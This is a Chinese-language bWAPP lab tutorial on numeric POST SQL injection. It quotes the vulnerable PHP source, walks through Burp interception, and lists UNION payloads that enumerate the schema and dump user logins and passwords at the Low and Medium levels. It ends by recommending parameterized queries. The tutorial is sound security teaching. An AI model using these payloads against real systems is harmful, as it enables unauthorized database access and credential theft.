news 2026/7/24 14:01:41

零基础玩转bWAPP靶场(十六):SQL 注入(POST/选择型)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
零基础玩转bWAPP靶场(十六):SQL 注入(POST/选择型)

摘要:本文是 bWAPP 靶场系列的第十六篇,聚焦于 SQL Injection (POST/Select)(POST 型下拉选择框 SQL 注入)。页面看起来和第十四篇(GET/Select)一模一样,区别只是请求方式从 GET 变成了 POST。我们将通过源码分析和实战演示,搞清楚数字型注入在 POST 下的玩法,以及为什么 Medium 级别的防护依然形同虚设。


一、前言

功能很简单:选一部电影,点 Go,显示电影详情。和第十四篇(GET/Select)功能一模一样,唯一的区别是请求从 GET 变成了 POST

所以这篇不长,重点是讲清楚POST 请求下怎么做注入,以及Medium 级别为什么又防不住


二、先看一眼源码

还是老规矩,先看核心代码。

// sqli_13.php(Low 和 Medium 级别用的文件) if(isset($_POST["movie"])) { $id = $_POST["movie"]; $sql = "SELECT * FROM movies"; if($id) { $sql.= " WHERE id = " . sqli($id); } $recordset = mysql_query($sql, $link); // ... 显示结果 ... $row = mysql_fetch_array($recordset); // 显示这一行的数据... }

sqli()函数的处理逻辑:

function sqli($data) { switch($_COOKIE["security_level"]) { case "0" : // Low $data = no_check($data); // 不处理,直接返回 break; case "1" : // Medium $data = sqli_check_2($data); // mysql_real_escape_string() break; default : $data = no_check($data); break; } return $data; }

High 级别会自动跳转到sqli_13-ps.php,那个文件用了参数化查询,后面再说。

关键点:这里id是数字,SQL 语句里没有引号包裹它。这就是数字型注入的特征。

但选择型只显示一行——你选了哪部电影,就显示哪一部。源码逻辑和第十四篇几乎一样,区别只是$_GET["movie"]换成了$_POST["movie"]


三、Low 安全级别

3.1 怎么在 POST 请求里改参数?

GET 型注入你直接在地址栏改 URL 就行,但 POST 型不行,你得拦截请求。

用 Burp Suite 的话:

  • 打开 Burp,Proxy → Intercept 设为On

  • 在页面上选一部电影,点 Go

  • Burp 会拦截到这个 POST 请求

  • 在请求体里找到movie=1,改成你想要的 payload

  • 点 Forward 放行

不想用 Burp 的话,浏览器 F12 → Network 标签,找到请求,右键 → Edit and Resend,也能改。

3.2 动手试试

先正常用一下:选一部电影,点 Go,页面显示电影详情。

URL 不会变(因为参数在请求体里),但页面内容变了。

然后开 Burp 拦截,选电影,点 Go,拦截请求后把movie=1改成:

movie=-1 OR 1=1

由于只显示一行数据,所以我们用id=-1这个不存在的值去测试

然后进行恒假测试

movie=-1 AND 1=2

通过测试:确认数字型 SQL 注入漏洞存在。

3.3 获取数据(UNION 注入)

先确定列数。Burp 里改movie参数:

movie=-1 UNION SELECT 1,2,3,4,5,6,7

返回正常,说明是 7 列。

然后获取数据库名:

movie=-1 UNION SELECT 1,database(),3,4,5,6,7

页面显示数据库名。

获取表名:

movie=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()

获取用户表字段:

movie=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_schema=database() and table_name='users'

获取用户数据:

movie=-1 UNION SELECT 1,group_concat(login),group_concat(password),4,5,6,7 FROM users

和第十四篇的操作基本一模一样,唯一的区别是参数在 POST 请求体里,需要用 Burp 改。


四、Medium 安全级别

4.1 试一下

切到 Medium,开 Burp 拦截,发送:

movie=-1 OR 1=1 → 显示影片(恒真 payload) movie=-1 AND 1=2 → 页面空白,无影片(恒假 payload)

结果:确认数字型 SQL 注入漏洞存在。

接下来步骤基本和low级一样

1、获取列数和显示位 movie=-1 UNION SELECT 1,2,3,4,5,6,7&action=go 2、获取数据库名 movie=-1 UNION SELECT 1,database(),3,4,5,6,7&action=go 3、获取表名 movie=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()&action=go 4、获取字段名 movie=-1 UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6,7 FROM information_schema.columns WHERE%20table_schema=database() and table_name=0x7573657273&action=go 5、获取用户数据 movie=-1 UNION SELECT 1,GROUP_CONCAT(CONCAT(login,0x3a,password)),3,4,5,6,7 FROM users&action=go

4.2 为什么 Medium 还是防不住?

Medium 调用的是sqli_check_2(),也就是mysql_real_escape_string()

这个函数只转义特殊字符(引号、反斜杠等),对纯数字字符串完全不处理

你传 -1 OR 1=1,里面没有引号、没有反斜杠,mysql_real_escape_string()看了看,说“这串东西没啥需要转义的”,然后原样返回。

于是 SQL 还是变成了WHERE id = -1 OR 1=1,注入成功。

一句话总结mysql_real_escape_string()只防字符串型注入,对数字型注入无效。因为数字型注入根本不需要引号。

4.3 那要怎么防?

要么用类型强转

$id = intval($_POST["movie"]);

要么用参数化查询(High 级别用的方案)。


五、High 安全级别

切到 High,你会发现页面其实跳到了sqli_13-ps.php

看这个文件的代码:

$sql = "SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id = ?"; if($stmt = $link->prepare($sql)) { $stmt->bind_param("s", $id); $stmt->execute(); // ... }

用了?占位符,然后用bind_param()绑定参数。这就是参数化查询

不管你在 POST 里传什么,$id只会被当成数据去匹配id字段,永远不会被当作 SQL 代码执行

所以不管你传1 OR 1=1还是1 UNION SELECT,都只会去匹配一个叫做1 OR 1=1的电影 ID(当然不存在),然后返回“No movies were found!”。


六、三种级别对比

级别用的函数能防住吗原因
Lowno_check()不能直接拼接,完全没过滤
Mediummysql_real_escape_string()不能只转义引号,数字型注入不需要引号
High参数化查询SQL 和数据分离,从根本上杜绝

七、总结

GET与POST请求方式并不会决定SQL注入漏洞是否存在,漏洞风险由后端代码的输入处理逻辑决定,GET注入与POST注入的底层原理完全一致,二者仅参数修改手段存在区别:GET注入可直接修改浏览器URL参数,POST注入需要借助抓包工具修改请求数据包。数字型SQL注入无需依靠单引号完成闭合,隐蔽性更强;不少开发人员误以为`mysql_real_escape_string()`能够抵御注入攻击,但该函数仅针对引号、反斜杠等特殊字符转义,面对不存在引号载荷的数字型注入无法起到防护效果。各类转义函数均存在防护局限性,防御SQL注入最根本、可靠的方案是采用参数化预编译查询,该技术将SQL语句结构与用户输入数据相互隔离,从底层消除SQL拼接带来的注入风险,因此不必依赖各类字符转义函数,优先使用参数化查询是抵御SQL注入最优选择。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/24 14:00:50

OpenClaw智能体:多模态感知的水产知识引擎开发实践

1. 项目背景与核心价值 去年夏天我在水产市场调研时,发现一个有趣现象:90%的消费者对小龙虾的养殖、挑选和处理存在认知盲区。这促使我开发了OpenClaw智能体——一个融合多模态感知与决策系统的水产知识引擎。不同于传统科普工具,它能通过图像…

作者头像 李华
网站建设 2026/7/24 14:00:47

16位二进制加法器 Verilog Quartus

名称:16位二进制加法器 Verilog Quartus软件:Quartus语言:Verilog功能介绍该工程实现一个16位二进制加法器,支持两个16位输入数据adder_A和adder_B,以及1位输入进位CIN。运算结果通过16位输出S给出,同时由C…

作者头像 李华
网站建设 2026/7/24 13:57:43

适配 Microsoft 365 的内联邮件安全架构部署与风险防控研究

摘要 云办公普及背景下,Microsoft 365 已成为企业主流邮件协作载体,第三方邮件安全网关的接入方式直接决定整体邮件防护能力。当前企业普遍存在两类部署模式:内联前置检测架构与后置 API 查杀架构,二者在邮件流处理时序、认证完整…

作者头像 李华
网站建设 2026/7/24 13:57:42

把喇叭贴在麦克风边上,还能全双工通话?——AU-60把“不可能”变成了“常规操作”

——硬件工程师与音频算法工程师的“减负”利器在嵌入式音频产品的研发中,我们常常陷入这样的困境:麦克风拾音距离不够、喇叭音量一大就啸叫、环境噪声比人声还突出、结构受限导致麦克风和喇叭无法物理隔离……这些问题往往不是靠换一颗Codec或调一版EQ就…

作者头像 李华
网站建设 2026/7/24 13:57:26

零基础用户必看:5款大模型工具实战指南

1. 大模型工具入门指南:零基础用户必备利器作为一名长期跟踪AI技术发展的从业者,我经常遇到非技术背景的朋友询问:"大模型听起来很厉害,但我完全不会编程,该怎么上手?"这促使我整理了这份完全面向…

作者头像 李华
网站建设 2026/7/24 13:55:24

AI API 中转别只看能不能连通,先看第一次调用有没有“回执”

接入 AI API 中转或多模型网关时,很多人只验证“改 base_url 后能不能返回内容”。 但长期项目里,更重要的是第一次真实调用之后有没有可复盘的回执: 实际走的是哪个模型、哪个路由;请求有没有进入日志;token 和余额有…

作者头像 李华